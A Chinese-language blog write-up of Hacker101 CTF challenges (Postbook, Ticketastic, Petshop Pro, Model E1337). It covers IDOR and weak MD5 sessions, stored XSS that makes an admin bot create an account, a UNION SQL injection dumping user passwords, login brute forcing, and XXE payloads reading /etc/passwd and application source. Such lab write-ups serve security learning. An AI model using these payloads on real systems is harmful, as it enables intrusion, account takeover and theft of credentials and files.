hacker101 CTF 学习记录(二)

前言

Easy-Postbook

拿到功能有点多,先扫一遍目录

.Ds_Store没有啥东西,page是个静态页面

随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1

自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag

改成id的值1

提交获取flag

我们将自己的session的hash值放入md5中,发现MD5解码为3

因此将session值改为1和2的md5试试看

替换为1的md5,登录账号1,获取第二个flag

使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令

与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了

去查delete跟的hash参数,也是简单的数据经过md5加密的

因此肯定存在越权,登录另一个账号,删除账号1的文章

拿到第五个flag

profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的

文章发表处也存在越权,可以看到写文章处post请求存在一个参数id

那么修改id为1,拿到第六个flag

还有一个flag,捣鼓了下修改密码处,无果

整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个

最后一个我看了提示是说的 198*5,最后在遍历文章id的时候发现945处存在flag

这类漏洞利用思路hint

Moderate-Ticketastic: Demo Instance

这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的

给了后台管理员登录admin/admin

前台有个反馈

反馈后,后台弹框,JavaScript成功执行

Moderate-Ticketastic: Live Instance

环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的

但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。

拿到创建test/test的请求

http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

来手写ajax

<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

尝试了下不行

中途有事耽搁了几天,重新申请了环境,改改poc

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

将请求内容放到title中,终于在测试环境中成功了

成功添加了test1/test

那么在正式题目环境中,尝试一下

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)

登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>标签成功,使用该方法试试

<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>

可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/

竟然登了进去了,找到第一个flag

那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>

在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因

第二个flag在id=1处,使用sql的测试语句报错

明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注

http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

这类漏洞利用思路hint

之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面

Easy-Petshop Pro

进入题目分析下功能点,是个购物车功能

添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag

剩下2个flag没有思路,先扫一遍目录

看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下

刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)

同理爆破出弱口令key

拿到第二个flag

点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag

最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....

这类漏洞利用思路hint

Hard-Model E1337 - Rolling Code Lock

先扫一下目录发现有admin目录

访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化

接下来看看注释,说有个get-config

可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式

那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对

抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试

爆破到参数为data的时候为500.....

联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>

url编码一下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e

非常棒,302了,说明成功了

但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中

xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>

已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果

那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>

拿到第一个flag

第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的

主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因

匹配值会进入next函数,但main.py里面没有next函数的定义

观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件

读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz

密码种子碰撞不会orz,暂时挖个坑

posted @ 2020-09-11 18:05  sijidou  阅读(1147)  评论(0编辑  收藏  举报